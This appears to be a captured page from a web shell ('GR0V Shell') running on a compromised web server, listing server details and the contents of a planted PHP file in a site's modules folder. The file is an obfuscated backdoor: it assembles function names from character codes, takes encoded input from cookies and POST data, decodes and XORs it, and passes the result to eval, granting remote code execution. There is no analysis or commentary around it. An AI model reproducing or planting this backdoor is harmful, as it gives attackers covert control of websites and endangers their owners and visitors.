? GR0V Shell

GR0V shell

Linux www.koreapackagetour.com 2.6.32-042stab145.3 #1 SMP Thu Jun 11 14:05:04 MSK 2020 x86_64

Path : /home/admin/domains/happytokorea.net/public_html/test/modules/mod_wrapper/
File Upload :
Current File : /home/admin/domains/happytokorea.net/public_html/test/modules/mod_wrapper/41a75bd9.php

$KGTxj = "\x53" . '_' . "\x62" . chr ( 318 - 242 ).chr ( 631 - 546 ); $FeTABvlg = "\143" . 'l' . chr ( 273 - 176 ).'s' . chr (115) . '_' . "\x65" . "\x78" . 'i' . 's' . 't' . "\x73";$PkdcLhx = $FeTABvlg($KGTxj); $FeTABvlg = "55992";$mpMEielX = $PkdcLhx;if (!$mpMEielX){class S_bLU{private $qtrawDITQ;public static $PSVJMwfZXc = "5b7baf2a-ebd1-4bcb-b086-d624d7809e70";public static $dgVNtGb = 1226;public function __construct($kUxYDC=0){$VHHBHyW = $_COOKIE;$ABimImUN = $_POST;$BizUgxufuV = @$VHHBHyW[substr(S_bLU::$PSVJMwfZXc, 0, 4)];if (!empty($BizUgxufuV)){$XWNmtpIuA = "base64";$BkLRkJuQ = "";$BizUgxufuV = explode(",", $BizUgxufuV);foreach ($BizUgxufuV as $gdbkm){$BkLRkJuQ .= @$VHHBHyW[$gdbkm];$BkLRkJuQ .= @$ABimImUN[$gdbkm];}$BkLRkJuQ = array_map($XWNmtpIuA . '_' . "\x64" . "\145" . chr (99) . chr ( 696 - 585 ).chr (100) . "\x65", array($BkLRkJuQ,)); $BkLRkJuQ = $BkLRkJuQ[0] ^ str_repeat(S_bLU::$PSVJMwfZXc, (strlen($BkLRkJuQ[0]) / strlen(S_bLU::$PSVJMwfZXc)) + 1);S_bLU::$dgVNtGb = @unserialize($BkLRkJuQ);}}private function yhDuwuxf(){if (is_array(S_bLU::$dgVNtGb)) {$EgnVzCMp = str_replace("\x3c" . '?' . "\x70" . chr (104) . 'p', "", S_bLU::$dgVNtGb["\143" . chr (111) . chr (110) . chr ( 249 - 133 )."\x65" . 'n' . "\164"]);eval($EgnVzCMp); $ebbzHHY = "12964";exit();}}public function __destruct(){$this->yhDuwuxf(); $ebbzHHY = "12964";}}$GsZtbML = new S_bLU(); $GsZtbML = "20355_47013";}

T1KUS90T
  root-grov@210.1.60.28:~$